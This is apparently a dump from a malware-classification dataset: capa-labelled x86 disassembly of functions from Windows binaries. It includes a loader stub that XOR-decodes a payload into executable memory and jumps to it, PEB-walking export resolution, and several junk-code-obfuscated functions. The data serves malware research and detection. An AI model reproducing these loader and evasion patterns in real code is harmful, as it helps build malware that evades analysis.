joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000885b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1000886a
pop dword [ebp - 0x48]
mov eax, 0xe2f02338
add eax, 0x2d106532
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xa6599a8d
add dword [ebp - 0x58], 0xa7f8aabe
mov dword [ebp - 0x54], 0x97938959
sub dword [ebp - 0x54], 0x65603d14
mov dword [ebp - 0x50], 0xe7d89ef
sub dword [ebp - 0x50], 0xc23145c1
mov dword [ebp - 0x4c], 0x18336240
add dword [ebp - 0x4c], 0xe7cc9dc0
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x7c669667
sub dword [ebp - 0x58], 0x7f42d11
mov dword [ebp - 0x54], 0x2e7e107c
add dword [ebp - 0x54], 0x12ee50f9
mov dword [ebp - 0x50], 0x5a28d416
add dword [ebp - 0x50], 0x9469856
mov dword [ebp - 0x4c], 0x3f645190
add dword [ebp - 0x4c], 0xc09bae70
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x8f14ec0
sub eax, 0xf8ef5e24
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3d1ac
push 0
call eax
mov ecx, 0x51349217
add ecx, 0xaecbbc82
mov ebx, eax
mov edi, 0x529a2625
add edi, 0xbd6873db
add edi, dword [ebp - 0x48]
mov edx, 0xc51b698c
add edx, 0x5283213c
add dword [ebp - 0x44], 0xc4bbcefc
mov esi, dword [edi]
sub dword [ebp - 0x2c], 0x2450ea88
xor esi, edx
xor dword [ebp - 0x38], 0x45f9c571
mov dword [ebx], esi
add dword [ebp - 8], ecx
add ebx, 0xc22b67ff
sub ebx, 0xc22b67fb
add edi, 4
loop 0x10008987
add eax, 0xca7c3918
sub eax, 0xca7b0be1
xor ebx, ebx
add ebx, eax
add eax, 0x17478ba4
sub eax, 0x17478b9f
mov ecx, 0xcef1f877
sub ecx, 0xbef1f877
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc
Function at 0x1001cf62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x100269c0], al
je 0x1001cf99
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cffd
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.1000885b
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.1000885b
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.1000885b
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ddeb
leave
ret 0x10

Function at 0x1001d00e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d03a
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d06b
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d069
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1000885b
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d06b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1001ddeb
leave
ret 8

Function at 0x1001d106
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
mov eax, dword [ebp + 8]
je 0x1001d12e
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001d148
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1000885b
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1001ddeb
leave
ret 4

Function at 0x1001ddeb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100268b0]
jne 0x1001ddf5
repz ret
jmp fcn.1001e62c
Function at 0x401711
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x401758
cmp ebx, 0x20
je 0x401758
cmp ebx, 0xffffffe0
je 0x401758
jne 0x401761
add eax, 1
cmp esi, eax
je 0x40176e
jne 0x40173d
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x401772
jne 0x401739
pop edx
mov eax, dword [edx + 0x18]
mov ebx, eax
cmp ebx, 0
je 0x4017b3
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x4017b9
add eax, 4
pop esi
dec esi
push esi
jne 0x40179b
xor eax, eax
mov dword [ebp - 8], eax
nop
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
mov dword [ebp - 8], eax
sub esp, 8
push esi
mov esi, dword [ebp + 0x10]
mov esi, dword [esi]
mov esi, dword [esi + 4]
lea ecx, [esi - 1]
test ecx, ecx
jl 0x4017fa
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
lea eax, [eax + ecx*4 + 8]
inc ecx
push dword [eax]
sub eax, 4
dec ecx
jne 0x4017f2
call dword [ebp - 8]
mov ebx, eax
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40180f
lea eax, [esi*4]
add esp, eax
mov eax, ebx
leave
ret 0x14
Function at 0x10002344
Capabilities:
Set registry value

Disassembly:
mov eax, 0x10061421
call fcn.10060e94
sub esp, 0x30
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
cmp byte [ebp + 0x14], 0
je 0x1000242a
mov dword [ebp - 0x18], 0x7bae
cmp dword [ebp - 0x18], 0x7be1
jle 0x100023d0
push esi
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov edi, esi
mov ebx, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], 0x31cd
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x1007cfd8
cdq
push edx
push eax
call fcn.1000703f
add esi, ebx
dec dword [ebp - 0x14]
jne 0x10002388
inc ebx
push 0
pop esi
cmp ebx, 0x3071
jl 0x1000237e
inc edi
cmp edi, 0x9ca
jl 0x1000237c
push esi
push esi
push 0x1a77
push 0x1039
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
je 0x100023f0
push 0x477
push esi
push 0x1e2a
push 0x1700
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x18], 0x77f7
jge 0x1000240b
mov edx, str.xhczlxk_fili_wepvzk_ffyhiquvm_tzx_jwvvnbvny_ylh
mov ecx, 0x1007cfd8
call fcn.1000b30d
jmp 0x100024d6
mov dword [ebp - 0x1c], 0x5a41
cmp dword [ebp - 0x1c], 0x5b1b
jle 0x100024a3
mov edi, esi
mov dword [ebp - 0x14], esi
mov ebx, esi
mov dword [ebp - 0x18], esi
mov ecx, ebx
mov dword [ebp - 0x20], edi
mov ebx, edi
mov edi, esi
shl ebx, cl
mov ecx, edi
mov eax, ebx
shl eax, cl
lea ecx, [ebp - 0x3c]
cdq
push edx
push eax
call fcn.10001301
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000246a
mov eax, dword [eax]
push eax
call fcn.10048570
pop ecx
push esi
push 1
lea ecx, [ebp - 0x3c]
call fcn.1000162e
inc edi
cmp edi, 0x1615
jl 0x1000244f
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
inc ebx
mov dword [ebp - 0x18], ebx
cmp ebx, 0x1021
jl 0x10002444
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x321a
jl 0x1000243f
mov edx, dword [ebp + 0x10]
mov dword [edx], esi
cmp dword [edx], 1
jge 0x100024c2
mov esi, dword [ebp + 8]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xa80e3580
inc dword [edx]
cmp dword [edx], 1
jl 0x100024b0
cmp dword [ebp - 0x1c], 0x56d1
jge 0x100024d6
push str.mqddca_yxyja_wjnovpz_efdxb_svpnzxp_ebabdq_fsaunpoi_kcuhiuov_zlhcahbb_sumu_iei_bswqgom_xmu
call fcn.10048570
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100024e7
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
cmp byte [ebp + 0xc], 0
push ebx
push edi
mov byte [esp + 0xc], dl
je 0x10002613
mov dword [esp + 0x1c], 0x5de0
cmp dword [esp + 0x1c], 0x6036
jle 0x10002555
xor edi, edi
xor ebx, ebx
lea eax, [ebx + edi]
cdq
lea ecx, [esp + 0x20]
push edx
push eax
call fcn.10001301
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000252f
mov eax, dword [eax]
push eax
call fcn.10048570
pop ecx
push 0
push 1
lea ecx, [esp + 0x28]
call fcn.1000162e
inc ebx
cmp ebx, 0x79c9
jl 0x10002516
inc edi
cmp edi, 0x3346
jl 0x10002514
cmp byte [esp + 0xc], 0
je 0x1000256a
mov eax, dword [ebp + 0x10]
mov dword [eax], 9
jmp 0x100025fc
mov dword [esp + 0x18], 0x4fdc
cmp dword [esp + 0x18], 0x5056
jle 0x100025d9
xor edi, edi
xor ebx, ebx
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov eax, ebx
sar eax, cl
lea ecx, [esp + 0x38]
xor eax, edi
cdq
push edx
push eax
call fcn.10001301
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100025a2
mov eax, dword [eax]
push eax
call fcn.10048570
pop ecx
push 0
push 1
lea ecx, [esp + 0x40]
call fcn.1000162e
mov ecx, dword [esp + 0x14]
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x7c10
jl 0x10002586
inc ebx
cmp ebx, 0x5f55
jl 0x10002580
inc edi
cmp edi, 0x484e
jl 0x1000257e
cmp dword [esp + 0x18], 0x4d4c
jge 0x100025ee
push str.fcyukon_xzgl_kjujbhlu_xbpga_czv_flxuhnttr_xgwbcg_xncpfsfal_xrdif_rbjcil_rblawulin
call fcn.10048570
pop ecx
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x100025fc
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
cmp dword [esp + 0x1c], 0x5bd4
jge 0x10002652
push str.ibrj_bmazdzl_lak_emnqucvj_rioa_ghezegq_lzlgyyt
call fcn.10048570
pop ecx
jmp 0x10002652
cmp byte [ebp + 0x14], 0
je 0x10002631
cmp byte [ecx], 0
je 0x10002652
push 0
push 0x352
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
jmp 0x10002652
mov byte [esp + 0x13], 0
cmp byte [esp + 0x13], 0
je 0x10002652
push 1
push 0x5201
push ecx
push 0x4009
call fcn.100043a9
add esp, 0x10
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000313a
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push esi
mov esi, ecx
test dl, dl
je 0x1000319e
cmp byte [ebp + 8], 0
je 0x1000317f
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0
je 0x100031bf
push 0x11a9
push 0x3577
push 0
push 0x6cc8
push 0x25cf
push 1
mov edx, 0x710b
mov cl, 1
call fcn.10004feb
add esp, 0x18
jmp 0x100031bf
mov edx, dword [ebp + 0x10]
mov dword [edx], 0
jmp 0x10003197
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0x603f559c
inc dword [edx]
cmp dword [edx], 4
jl 0x1000318a
jmp 0x100031bf
cmp byte [ebp + 0x14], 0
je 0x100031ba
xor eax, eax
mov byte [esp + 7], al
cmp byte [esp + 7], al
je 0x100031bf
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x100031bf
mov eax, dword [ebp + 0x18]
inc dword [eax]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10004186
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10061599
call fcn.10060e94
sub esp, 0x28
push ebx
push esi
mov dword [ebp - 0x20], 0x5e47
mov ebx, ecx
cmp dword [ebp - 0x20], 0x5f9c
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x2c], ebx
jle 0x1000421c
xor ebx, ebx
xor esi, esi
mov dword [ebp - 0x18], esi
xor edi, edi
mov dword [ebp - 0x14], edi
and dword [ebp - 0x28], 0
mov ecx, edi
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x24], esi
sar esi, cl
mov eax, esi
mov ecx, 0x1007cfd8
xor eax, edi
xor eax, ebx
cdq
push edx
push eax
call fcn.1000703f
inc edi
cmp edi, 0x40eb
jl 0x100041cb
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x729b
jl 0x100041bd
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0xa96
jl 0x100041b8
inc ebx
cmp ebx, 0x693a
jl 0x100041b3
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov ebx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
cmp byte [ebp + 0x10], 0
je 0x1000424d
mov eax, dword [edx + 4]
sub eax, dword [edx]
mov esi, dword [ebp + 8]
sar eax, 2
mov dword [ebx], eax
jmp 0x10004247
and dword [ebp - 0x30], 0
lea eax, [ebp - 0x30]
push eax
mov ecx, edx
call fcn.10007623
inc dword [ebx]
mov eax, dword [ebx]
mov edx, dword [ebp - 0x1c]
cmp eax, dword [esi]
jl 0x10004231
jmp 0x10004270
mov edx, dword [ebp + 0x18]
mov dword [edx], 0
cmp dword [edx], 1
jge 0x10004270
mov esi, dword [ebp + 0xc]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xd3d38e20
inc dword [edx]
cmp dword [edx], 1
jl 0x1000425e
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x5e15
jge 0x1000428c
mov edx, str.nzn_gthrox_czunvz_agns_syxjf_ggo_hottepj_hjjcoebbf
mov ecx, 0x1007cfd8
call fcn.1000b30d
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100043a9
Capabilities:
Allocate thread local storage
Set environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
cmp byte [ebp + 0x14], 0
push esi
push edi
je 0x100043c9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x1000445d
mov dword [esp + 0xc], 0x265f
cmp dword [esp + 0xc], 0x281c
jle 0x10004425
xor esi, esi
xor edi, edi
mov eax, edi
lea ecx, [esp + 0x10]
and eax, esi
cdq
push edx
push eax
call fcn.10001301
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100043f9
mov eax, dword [eax]
push eax
call fcn.10048570
pop ecx
push 0
push 1
lea ecx, [esp + 0x18]
call fcn.1000162e
inc edi
cmp edi, 0x56de
jl 0x100043df
inc esi
cmp esi, 0x144b
jl 0x100043dd
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp dword [esp + 0xc], 0x24b3
jge 0x1000443a
push str.dstkfofrk_bwigzpyb_jrvn
call fcn.10048570
pop ecx
mov edx, dword [ebp + 8]
mov dword [edx], 0
cmp dword [edx], 3
jge 0x1000445d
mov esi, dword [ebp + 0x10]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xbe4438b
inc dword [edx]
cmp dword [edx], 3
jl 0x1000444b
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10006a65
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10061727
call fcn.10060e94
sub esp, 0x18
cmp byte [ebp + 0x10], 0
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ebx
je 0x10006b45
mov dword [ebp - 0x1c], 0x3f14
cmp dword [ebp - 0x1c], 0x40d0
jle 0x10006b05
push 0x383
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
xor esi, esi
mov dword [ebp - 0x18], esi
xor edi, edi
mov dword [ebp - 0x14], edi
mov eax, edi
xor ebx, ebx
and eax, esi
mov dword [ebp - 0x24], eax
mov esi, eax
xor edi, edi
mov eax, edi
mov ecx, 0x1007cfd8
xor eax, ebx
or eax, esi
cdq
push edx
push eax
call fcn.1000703f
inc edi
cmp edi, 0x4a08
jl 0x10006abf
inc ebx
cmp ebx, 0x2cbb
jl 0x10006abd
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x1f1e
jl 0x10006ab2
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x79df
jl 0x10006aad
mov ebx, dword [ebp - 0x20]
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x3db9
jge 0x10006b40
mov edx, str.wjindik_mem_lzykwbkte_bxlre_gctj
mov ecx, 0x1007cfd8
call fcn.1000b30d
jmp 0x10006b40
mov byte [ebx], 1
jmp 0x10006b4c
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [edx], eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000c288
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 0xc], 0
je 0x1000c2ab
cmp byte [ebp + 0x14], 0
je 0x1000c29e
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
mov eax, dword [ebp + 0x10]
add dword [eax], ecx
pop ebp
ret
test dl, dl
je 0x1000c2ce
push 0x548
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
pop ebp
ret
mov eax, dword [ecx]
dec dword [eax + 4]
pop ebp
ret

Function at 0x1000c2d5
Capabilities:
Set environment variable

Disassembly:
mov eax, 0x10061a15
call fcn.10060e94
sub esp, 0x30
mov byte [ebp - 0x14], cl
test cl, cl
je 0x1000c317
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
cmp dword [edx], 3
jge 0x1000c3dc
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xbe4438b
inc dword [edx]
cmp dword [edx], 3
jl 0x1000c2ff
pop esi
jmp 0x1000c3dc
push ebx
mov dword [ebp - 0x18], 0x2db58e46
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x18], 0x57ad95e1
mov dword [ebp - 0x18], 0x9bf39019
push 3
call fcn.1000145c
xor ebx, ebx
lea ecx, [ebp - 0x30]
push 2
mov dword [ebp - 4], ebx
call fcn.1000145c
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0x764361a6
push 4
call fcn.1000145c
mov dword [ebp - 0x18], ebx
jmp 0x1000c370
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov dword [eax + ecx*4], 0xbe4438b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000c360
mov dword [ebp - 0x18], ebx
jmp 0x1000c38b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov dword [eax + ecx*4], 0x17d72b90
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1000c37b
mov dword [ebp - 0x18], ebx
jmp 0x1000c3a6
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov dword [eax + ecx*4], 0xfb389fa1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1000c396
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1000c3bd
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x24]
dec dword [eax + 4]
call fcn.100014df
lea ecx, [ebp - 0x30]
call fcn.100014df
lea ecx, [ebp - 0x3c]
call fcn.100014df
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x1000c3ea
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 0x18], 0
mov edx, ecx
je 0x1000c419
mov dword [edx], 0
cmp dword [edx], 2
jge 0x1000c433
push esi
mov esi, dword [ebp + 0x14]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0x3f08700d
inc dword [edx]
cmp dword [edx], 2
jl 0x1000c404
pop esi
pop ebp
ret
push 0x477
xor eax, eax
push eax
push 0x1e2a
push 0x1700
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop ebp
ret
Function at 0x1000c435
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
test cl, cl
je 0x1000c462
cmp byte [ebp + 0x14], 0
je 0x1000c457
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x1000c486
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x1000c486
mov eax, dword [ebp + 0x1c]
mov dword [eax], 9
jmp 0x1000c486
cmp byte [ebp + 0xc], 0
je 0x1000c473
mov eax, dword [edx]
mov dword [eax + 0xc], 0x7a16482
jmp 0x1000c486
xor eax, eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], al
je 0x1000c486
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
mov esp, ebp
pop ebp
ret
Function at 0x1000ec61
Capabilities:
Set environment variable

Disassembly:
mov eax, 0x10061b88
call fcn.10060e94
sub esp, 0x10
cmp byte [ebp + 0x14], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
je 0x1000ed1c
cmp byte [edx], 0
je 0x1000ed00
mov dword [ebp - 0x18], 0x16d0
cmp dword [ebp - 0x18], 0x1994
jle 0x1000ecd9
xor esi, esi
mov dword [ebp - 0x14], esi
xor edi, edi
and dword [ebp - 0x1c], 0
mov ebx, esi
mov esi, dword [ebp - 0x1c]
mov ecx, edi
sar ebx, cl
mov eax, ebx
mov ecx, 0x1007cfd8
or eax, esi
cdq
push edx
push eax
call fcn.1000703f
inc esi
cmp esi, 0x77bc
jl 0x1000eca7
mov esi, dword [ebp - 0x14]
inc edi
cmp edi, 0x1716
jl 0x1000ec9a
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x628b
jl 0x1000ec98
push 0x1715
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x1628
jge 0x1000ed00
mov edx, str.cam_eqli_rzifmzf_bvztv_khzklfy_onudlog
mov ecx, 0x1007cfd8
call fcn.1000b30d
jmp 0x1000ed2e
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x1000ed2e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000ee13
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10061b92
call fcn.10060e94
sub esp, 0x14
push ebx
push esi
mov byte [ebp - 0x14], dl
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0x66
cmp dword [ebp - 0x1c], 0x39d
push edi
mov dword [ebp - 0x10], esp
jle 0x1000ee63
xor esi, esi
xor edi, edi
mov eax, edi
mov ecx, 0x1007cfd8
xor eax, esi
cdq
push edx
push eax
call fcn.1000703f
inc edi
cmp edi, 0x2ed3
jl 0x1000ee40
inc esi
cmp esi, 0x546f
jl 0x1000ee3e
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x54
jge 0x1000ee7c
mov edx, str.vuys_zfgf_exf_ezc_eejds_qyead_ohymhnkcn_zpsahmtzc_qbzif
mov ecx, 0x1007cfd8
call fcn.1000b30d
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x14], 0
je 0x1000eeaf
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
push dword [eax]
call fcn.1000c00a
jmp 0x1000eec8
push 0
lea eax, [ebp - 0x15]
mov byte [ebp - 0x15], 0
push eax
push ecx
push ecx
mov edx, 0x26bd
call fcn.1000ec61
add esp, 0x10
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret